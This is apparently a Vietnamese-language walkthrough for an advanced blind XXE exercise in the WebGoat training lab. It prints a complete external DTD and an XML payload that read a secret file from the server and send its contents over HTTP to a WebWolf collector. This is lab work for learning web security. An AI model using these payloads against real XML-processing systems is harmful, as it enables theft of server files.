1.11 | XXE
Đây là bài tập Blind XXE nâng cao, yêu cầu bạn tạo một file DTD để tải nội dung của tệp secret.txt từ server WebGoat lên WebWolf. Dưới đây là hướng dẫn chi tiết để thực hiện bài này.
1. Tạo DTD để đọc file và gửi đến WebWolf
Bạn cần tạo một file attack.dtd và tải nó lên WebWolf. File này sẽ chứa đoạn mã sau:
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % file SYSTEM "file:////home/webgoat/.webgoat-2023.8//XXE/viquocthuan/secret.txt">
<!ENTITY % send "<!ENTITY send SYSTEM 'http://127.0.0.1:9090/WebWolf/landing?text=%file;'>">
%send;
Giải thích:
%file: Truy cập nội dung của filesecret.txttrên máy WebGoat.%send: Gửi nội dung của filesecret.txtđến endpoint của WebWolf qua HTTP GET.
2. Upload attack.dtd lên WebWolf
- Truy cập WebWolf tại
http://127.0.0.1:9090/WebWolf/home. - Trong phần upload, chọn
attack.dtdđể tải lên. - Khi tải lên thành công, WebWolf sẽ hiển thị một đường link trỏ đến file này, ví dụ:
http://127.0.0.1:9090/WebWolf/files/username/attack.dtd
3. Gửi XXE Payload trong WebGoat
Khi gửi request chứa XML, bạn cần sử dụng attack.dtd bằng cách chèn vào request như sau:
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % external SYSTEM "http://127.0.0.1:9090/WebWolf/files/username/attack.dtd">
%external;
]>
<comment><text>test &send;</text></comment>
Giải thích:
%external;: Load fileattack.dtdtừ WebWolf.&send;: Kích hoạt gửi nội dung filesecret.txtđến WebWolf.
4. Kiểm tra kết quả trên WebWolf
- Truy cập WebWolf > Incoming requests.
- Nếu thành công, bạn sẽ thấy một request chứa nội dung file
secret.txttrong tham sốtext.
5. Gửi nội dung file để hoàn thành bài tập
- Copy nội dung
secret.txtmà bạn nhận được từ WebWolf. - Quay lại WebGoat, post một comment chứa nội dung này để hoàn thành bài tập.
📌 Tóm tắt
✔ Tạo file attack.dtd để đọc file và gửi đến WebWolf.
✔ Upload attack.dtd lên WebWolf.
✔ Gửi XML request đến WebGoat để kích hoạt XXE.
✔ Xem nội dung file secret.txt trong WebWolf.
✔ Post nội dung để hoàn thành bài tập.
Nếu có lỗi hoặc không thấy nội dung file, kiểm tra lại:
- Đường dẫn file
secret.txtcó chính xác không. - WebWolf có nhận đư ợc request không (kiểm tra log).
- Có chặn firewall nào ngăn chặn request ra ngoài không.